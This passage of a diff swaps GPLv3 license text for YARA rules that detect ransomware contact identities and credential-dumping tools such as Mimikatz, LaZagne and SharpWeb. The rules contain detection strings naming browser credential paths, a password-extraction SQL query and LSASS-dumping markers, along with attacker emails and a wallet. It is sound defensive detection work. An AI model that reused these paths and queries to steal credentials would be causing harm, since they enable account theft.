-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
-  The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
-  The Corresponding Source for a work in source code form is that
-same work.
-
-  2. Basic Permissions.
-
-  All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met.  This License explicitly affirms your unlimited
-permission to run the unmodified Program.  The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work.  This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
-  You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force.  You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright.  Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
-  Conveying under any other circumstances is permitted solely under
-the conditions stated below.  Sublicensing is not allowed; section 10
-makes it unnecessary.
-
-  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
-  No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
-  When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
-  4. Conveying Verbatim Copies.
-
-  You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
-  You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
-  5. Conveying Modified Source Versions.
-
-  You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
-    a) The work must carry prominent notices stating that you modified
-    it, and giving a relevant date.
-
-    b) The work must carry prominent notices stating that it is
-    released under this License and any conditions added under section
-    7.  This requirement modifies the requirement in section 4 to
-    "keep intact all notices".
-
-    c) You must license the entire work, as a whole, under this
-    License to anyone who comes into possession of a copy.  This
-    License will therefore apply, along with any applicable section 7
-    additional terms, to the whole of the work, and all its parts,
-    regardless of how they are packaged.  This License gives no
-    permission to license the work in any other way, but it does not
-    invalidate such permission if you have separately received it.
-
-    d) If the work has interactive user interfaces, each must display
-    Appropriate Legal Notices; however, if the Program has interactive
-    interfaces that do not display Appropriate Legal Notices, your
-    work need not make them do so.
-
-  A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit.  Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
-  6. Conveying Non-Source Forms.
-
-  You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
-    a) Convey the object code in, or embodied in, a physical product
-    (including a physical distribution medium), accompanied by the
-    Corresponding Source fixed on a durable physical medium
-    customarily used for software interchange.
-
-    b) Convey the object code in, or embodied in, a physical product
-    (including a physical distribution medium), accompanied by a
-    written offer, valid for at least three years and valid for as
-    long as you offer spare parts or customer support for that product
-    model, to give anyone who possesses the object code either (1) a
-    copy of the Corresponding Source for all the software in the
-    product that is covered by this License, on a durable physical
-    medium customarily used for software interchange, for a price no
-    more than your reasonable cost of physically performing this
-    conveying of source, or (2) access to copy the
-    Corresponding Source from a network server at no charge.
-
-    c) Convey individual copies of the object code with a copy of the
-    written offer to provide the Corresponding Source.  This
-    alternative is allowed only occasionally and noncommercially, and
-    only if you received the object code with such an offer, in accord
-    with subsection 6b.
-
-    d) Convey the object code by offering access from a designated
-    place (gratis or for a charge), and offer equivalent access to the
-    Corresponding Source in the same way through the same place at no
-    further charge.  You need not require recipients to copy the
-    Corresponding Source along with the object code.  If the place to
-    copy the object code is a network server, the Corresponding Source
-    may be on a different server (operated by you or a third party)
-    that supports equivalent copying facilities, provided you maintain
-    clear directions next to the object code saying where to find the
-    Corresponding Source.  Regardless of what server hosts the
-    Corresponding Source, you remain obligated to ensure that it is
-    available for as long as needed to satisfy these requirements.
-
-    e) Convey the object code using peer-to-peer transmission, provided
-    you inform other peers where the object code and Corresponding
-    Source of the work are being offered to the general public at no
-    charge under subsection 6d.
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Payola
+{
+	meta:
+		description = "Detects files referencing identities associated with Payola ransomware"
+		author = "ditekShen"
+		id = "7c1fc06b-fc71-5679-befd-686b2e05e3a4"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1699-L1708"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "568141c03d14faef0cfc4f5fbdec45a5109a1ad5cbbe99e76a1db86e7ef4dc5d"
+		score = 75
+		quality = 71
+		tags = ""
 
-  A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
+	strings:
+		$s1 = "pcsupport@skiff.com" ascii wide nocase
+		$s2 = "pctalk01@tutanota.com" ascii wide nocase
 
-  A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling.  In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage.  For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product.  A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
+	condition:
+		any of them
+}
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Xorist
+{
+	meta:
+		description = "Detects files referencing identities associated with Xorist ransomware"
+		author = "ditekShen"
+		id = "151d182c-c60a-54dd-a3d2-b32d27521b57"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1710-L1723"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "5975a730ad1a1f7e54e95ec5897aa2940ccc3ed1aa8e83b38cb7ac836c233208"
+		score = 75
+		quality = 67
+		tags = ""
 
-  "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source.  The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
+	strings:
+		$s1 = "@root_backdoor_synaptics_V" ascii wide nocase
+		$s2 = "@DosX_Plus" ascii wide nocase
+		$s3 = "@Cinoshi_Adm" ascii wide nocase
+		$s4 = "@ac3ss0r" ascii wide nocase
+		$s5 = "MCwRK1Z7K4GYHt9ZrbTR2SMCEqzqQaTbRF" ascii wide
+		$s6 = "0x334F093c9De6552AF4cC0B252dA82aC77FeB467D" ascii wide
 
-  If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information.  But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
+	condition:
+		any of them
+}
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Blackhunt
+{
+	meta:
+		description = "Detects files referencing identities associated with BlackHunt ransomware"
+		author = "ditekShen"
+		id = "87613fcc-7d9a-57ba-9653-c48760dd5ef0"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L1725-L1739"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "6b875d4abdedc8032f89ab3cbdf4acdc855d83b5bcc08f96b2fbc38b4a5daa7f"
+		score = 75
+		quality = 61
+		tags = ""
 
-  The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed.  Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
+	strings:
+		$s1 = "onion746@onionmail.com" ascii wide nocase
+		$s2 = "amike1096@gmail.com" ascii wide nocase
+		$s3 = "decryptyourdata@msgsafe.io" ascii wide nocase
+		$s4 = "decryptyourdata@onionmail.org" ascii wide nocase
+		$s5 = "Teikobest@gmail.com" ascii wide nocase
+		$s6 = "Loxoclash@gmail.com" ascii wide nocase
+		$s7 = "://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion" ascii wide nocase
 
-  Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
+	condition:
+		any of them
+}
+import "pe"
 
-  7. Additional Terms.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Lazagne : FILE
+{
+	meta:
+		description = "Detects LaZagne post-exploitation password stealing tool. It is typically embedded with malware in the binary resources."
+		author = "ditekSHen"
+		id = "68bc50b0-a64f-50b6-bfbf-a26a4d0970ef"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L3-L20"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "af4427174c1026204dc9c71878c5125efdf190328840b65fe4a69277a16fe7d2"
+		score = 75
+		quality = 50
+		tags = "FILE"
 
-  "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
-that they are valid under applicable law.  If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
+	strings:
+		$s1 = "blaZagne.exe.manifest" fullword ascii
+		$S2 = "opyi-windows-manifest-filename laZagne.exe.manifest" fullword ascii
+		$s3 = "lazagne.softwares.windows." ascii
+		$s4 = "lazagne.softwares.sysadmin." ascii
+		$s5 = "lazagne.softwares.php." ascii
+		$s6 = "lazagne.softwares.memory." ascii
+		$s7 = "lazagne.softwares.databases." ascii
+		$s8 = "lazagne.softwares.browsers." ascii
+		$s9 = "lazagne.config.write_output(" fullword ascii
+		$s10 = "lazagne.config." ascii
 
-  When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it.  (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.)  You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
+	condition:
+		uint16(0)==0x5a4d and any of them
+}
+import "pe"
 
-  Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Credstealer : FILE
+{
+	meta:
+		description = "Detects Python executable for stealing credentials including domain environments. Observed in MuddyWater."
+		author = "ditekSHen"
+		id = "ab587b12-f3e1-5f08-b27c-03ee9752e513"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L22-L41"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e729c8b0b1db642acabbc4590833c05ce81447bb89e5f40aea5f0b8ebdee4438"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-    a) Disclaiming warranty or limiting liability differently from the
-    terms of sections 15 and 16 of this License; or
+	strings:
+		$s1 = "PYTHON27.DLL" fullword wide
+		$s2 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyR" fullword ascii
+		$s3 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyt" fullword ascii
+		$s4 = "subprocess.pyc" fullword ascii
+		$s5 = "MyGetProcAddress(%p, %p(%s)) -> %p" fullword ascii
+		$p1 = "Dump SAM hashes from target systemss" fullword ascii
+		$p2 = "Dump LSA secrets from target systemss" fullword ascii
+		$p3 = "Dump the NTDS.dit from target DCs using the specifed method" fullword ascii
+		$p4 = "Dump NTDS.dit password historys" fullword ascii
+		$p5 = "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameterss" fullword ascii
+		$p6 = "Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferencess" fullword ascii
+		$p7 = "Combo file containing a list of domain\\username:password or username:password entriess" fullword ascii
 
-    b) Requiring preservation of specified reasonable legal notices or
-    author attributions in that material or in the Appropriate Legal
-    Notices displayed by works containing it; or
+	condition:
+		uint16(0)==0x5a4d and (3 of ($s*) and 1 of ($p*))
+}
+import "pe"
 
-    c) Prohibiting misrepresentation of the origin of that material, or
-    requiring that modified versions of such material be marked in
-    reasonable ways as different from the original version; or
+rule DITEKSHEN_INDICATOR_TOOL_CNC_Shootback : FILE
+{
+	meta:
+		description = "detects Python executable for CnC communication via reverse tunnels. Used by MuddyWater group."
+		author = "ditekSHen"
+		id = "fb608115-6d9f-5640-88be-674e53b07126"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L43-L62"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "996cabd4965164cb844cee1ab1e2894fc2b4fac14d4e660c456b494c5cbd0688"
+		score = 75
+		quality = 50
+		tags = "FILE"
 
-    d) Limiting the use for publicity purposes of names of licensors or
-    authors of the material; or
+	strings:
+		$s1 = "PYTHON27.DLL" fullword wide
+		$s2 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyR" fullword ascii
+		$s3 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyt" fullword ascii
+		$s4 = "subprocess.pyc" fullword ascii
+		$s5 = "MyGetProcAddress(%p, %p(%s)) -> %p" fullword ascii
+		$p1 = "Slaver(this pc):" ascii
+		$p2 = "Master(another public server):" ascii
+		$p3 = "Master(this pc):" ascii
+		$p4 = "running as slaver, master addr: {} target: {}R/" fullword ascii
+		$p5 = "Customer(this pc): " ascii
+		$p6 = "Customer(any internet user):" ascii
+		$p7 = "the actual traffic is:  customer <--> master(1.2.3.4) <--> slaver(this pc) <--> ssh(this pc)" fullword ascii
 
-    e) Declining to grant rights under trademark law for use of some
-    trade names, trademarks, or service marks; or
+	condition:
+		uint16(0)==0x5a4d and (3 of ($s*) and 2 of ($p*))
+}
+import "pe"
 
-    f) Requiring indemnification of licensors and authors of that
-    material by anyone who conveys the material (or modified versions of
-    it) with contractual assumptions of liability to the recipient, for
-    any liability that these contractual assumptions directly impose on
-    those licensors and authors.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Fgdump : FILE
+{
+	meta:
+		description = "detects all versions of the password dumping tool, fgdump. Observed to be used by DustSquad group."
+		author = "ditekSHen"
+		id = "2759fce2-db2a-5a48-bb37-931fd847a32d"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L64-L81"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "fdccd91a84374f7c94843bd9c2191720959416acf2e33d7b28b42d63d7ea4ce3"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10.  If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term.  If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
+	strings:
+		$s1 = "dumping server %s" ascii
+		$s2 = "dump on server %s" ascii
+		$s3 = "dump passwords: %s" ascii
+		$s4 = "Dumping cache" nocase ascii
+		$s5 = "SECURITY\\Cache" ascii
+		$s6 = "LSASS.EXE process" ascii
+		$s7 = " AntiVirus " nocase ascii
+		$s8 = " IPC$ " ascii
+		$s9 = "Exec failed, GetLastError returned %d" fullword ascii
+		$10 = "writable connection to %s" ascii
 
-  If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
+	condition:
+		uint16(0)==0x5a4d and 5 of them
+}
+import "pe"
 
-  Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Sharpweb : FILE
+{
+	meta:
+		description = "detects all versions of the browser password dumping .NET tool, SharpWeb."
+		author = "ditekSHen"
+		id = "f85dd689-c2a9-5cea-9c19-1e66ec942606"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L83-L110"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "036d576eb7acdededda7b31d3dda3a4928e01ff761bf45a1112da6bf7d4e2966"
+		score = 75
+		quality = 40
+		tags = "FILE"
 
-  8. Termination.
+	strings:
+		$param1 = "logins" nocase wide
+		$param2 = "cookies" nocase wide
+		$param3 = "edge" nocase wide
+		$param4 = "firefox" nocase wide
+		$param5 = "chrome" nocase wide
+		$path1 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" wide
+		$path2 = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" wide
+		$path3 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" wide
+		$path4 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks" wide
+		$sql1 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;" nocase wide
+		$sql2 = "UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d" nocase wide
+		$sql3 = "SELECT action_url, username_value, password_value FROM logins" nocase wide
+		$func1 = "get_encryptedPassword" fullword ascii
+		$func2 = "<GetLogins>g__GetVaultElementValue0_0" fullword ascii
+		$func3 = "<encryptedPassword>k__BackingField" fullword ascii
+		$pdb = "\\SharpWeb\\obj\\Debug\\SharpWeb.pdb" fullword ascii
 
-  You may not propagate or modify a covered work except as expressly
-provided under this License.  Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
+	condition:
+		uint16(0)==0x5a4d and ((1 of ($func*) and 3 of ($param*) and (1 of ($path*) or 1 of ($sql*))) or $pdb)
+}
+import "pe"
 
-  However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Blackbone : FILE
+{
+	meta:
+		description = "detects Blackbone password dumping tool on Windows 7-10 operating system."
+		author = "ditekSHen"
+		id = "a6d9f9d1-75fb-51af-87ad-80b4e135e759"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L112-L129"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e9dacd28accaef8a93ff8d3b5cf9437b3848791711a4a7118ab46d2bb6ca42d3"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
+	strings:
+		$s1 = "BlackBone: %s: " ascii
+		$s2 = "\\BlackBoneDrv\\" ascii
+		$s3 = "\\DosDevices\\BlackBone" fullword wide
+		$s4 = "\\Temp\\BBImage.manifest" wide
+		$s5 = "\\Device\\BlackBone" fullword wide
+		$s6 = "BBExecuteInNewThread" fullword ascii
+		$s7 = "BBHideVAD" fullword ascii
+		$s8 = "BBInjectDll" fullword ascii
+		$s9 = "ntoskrnl.exe" fullword ascii
+		$s10 = "WDKTestCert Ton," ascii
 
-  Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License.  If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
+	condition:
+		uint16(0)==0x5a4d and 5 of them
+}
+import "pe"
 
-  9. Acceptance Not Required for Having Copies.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Mimikatz : FILE
+{
+	meta:
+		description = "Detects Mimikatz"
+		author = "ditekSHen"
+		id = "feb236c0-6e0d-5c2c-a050-cf1d000aaf38"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L131-L164"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "42c9c78c88bb7c427d5f0bf1d3b0113205780142b499eb17858037ded0f2971e"
+		score = 75
+		quality = 73
+		tags = "FILE"
 
-  You are not required to accept this License in order to receive or
-run a copy of the Program.  Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance.  However,
-nothing other than this License grants you permission to propagate or
-modify any covered work.  These actions infringe copyright if you do
-not accept this License.  Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
+	strings:
+		$s1 = "mimilib.dll" ascii
+		$s2 = "mimidrv.sys" ascii
+		$s3 = "mimikatz.exe" ascii
+		$s4 = "\\mimidrv.pdb" ascii
+		$s5 = "mimikatz" ascii
+		$s6 = { 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a }
+		$s7 = { 5c 00 6d 00 69 00 6d 00 69 00 64 00 72 00 76 }
+		$s8 = { 6d 00 69 00 6d 00 69 00 64 00 72 00 76 }
+		$s9 = "Lecture KIWI_MSV1_0_" ascii
+		$s10 = "Search for LSASS process" ascii
+		$f1 = "SspCredentialList" ascii
+		$f2 = "KerbGlobalLogonSessionTable" ascii
+		$f3 = "LiveGlobalLogonSessionList" ascii
+		$f4 = "TSGlobalCredTable" ascii
+		$f5 = "g_MasterKeyCacheList" ascii
+		$f6 = "l_LogSessList" ascii
+		$f7 = "lsasrv!" ascii
+		$f8 = "SekurLSA" ascii
+		$f9 = /Cached(Unlock|Interative|RemoteInteractive)/ ascii
+		$dll_1 = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
+		$dll_2 = { c7 0? 10 02 00 00 ?? 89 4? }
+		$sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
+		$sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
 
-  10. Automatic Licensing of Downstream Recipients.
+	condition:
+		uint16(0)==0x5a4d and (2 of ($*) or 3 of ($f*) or all of ($dll_*) or any of ($sys_*))
+}
+import "pe"
 
-  Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License.  You are not responsible
-for enforcing compliance by third parties with this License.
+rule DITEKSHEN_INDICATOR_TOOL_SCN_Portscan : FILE
+{
+	meta:
+		description = "Detects a port scanner tool observed as second or third stage post-compromise or dropped by malware."
+		author = "ditekSHen"
+		id = "f270e098-17a0-5d66-acd0-c946a29919f4"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L166-L180"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ebe5eb045a250ca38a55ac43018548074e9db160d76737c36f8ae5ea268b7b10"
+		score = 75
+		quality = 75
+		tags = "FILE"
 
-  An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations.  If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
+	strings:
+		$s1 = "HEAD / HTTP/1.0" fullword ascii
+		$s2 = "Result.txt" fullword ascii
+		$s3 = "Example: %s SYN " ascii
+		$s4 = "Performing Time: %d/%d/%d %d:%d:%d -->" fullword ascii
+		$s5 = "Bind On IP: %d.%d.%d.%d" fullword ascii
+		$s6 = "SYN Scan: About To Scan %" ascii
+		$s7 = "Normal Scan: About To Scan %" ascii
 
-  You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License.  For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
+	condition:
+		uint16(0)==0x5a4d and 5 of them
+}
+import "pe"
 
-  11. Patents.
+rule DITEKSHEN_INDICATOR_TOOL_MEM_Mxtract : FILE
+{
+	meta:
+		description = "Detects mXtract, a linux-based tool that dumps memory for offensive pentration testing and can be used to scan memory for private keys, ips, and passwords using regexes."
+		author = "ditekSHen"
+		id = "e8c5e5b3-aa98-5f7f-9410-3efeef725f41"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L182-L195"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8271722c3b8f4458d20cf874d37e87e3b1fde701205ff54f0360fb87f717fc3f"
+		score = 50
+		quality = 69
+		tags = "FILE"
 
-  A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based.  The
-work thus licensed is called the contributor's "contributor version".
+	strings:
+		$s1 = "_ZN18process_operations10get_rangesEv" fullword ascii
+		$s2 = "_ZN4misc10write_dumpESsSs" fullword ascii
+		$s3 = "_ZTVNSt8__detail13_Scanner_baseE" fullword ascii
+		$s4 = "Running as root is recommended as not all PIDs will be scanned" fullword ascii
+		$s5 = "ERROR ATTACHING TO PROCESS" fullword ascii
+		$s6 = "ERROR SCANNING MEMORY RANGE" fullword ascii
 
-  A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version.  For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
+	condition:
+		( uint32(0)==0x464c457f or uint16(0)==0x457f) and 3 of them
+}
+import "pe"
 
-  Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Sniffpass : FILE
+{
+	meta:
+		description = "Detects SniffPass, a password monitoring software that listens on the network and captures passwords over POP3, IMAP4, SMTP, FTP, and HTTP."
+		author = "ditekSHen"
+		id = "b96498d4-bbe3-5cb8-9c24-91ebb51e078a"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
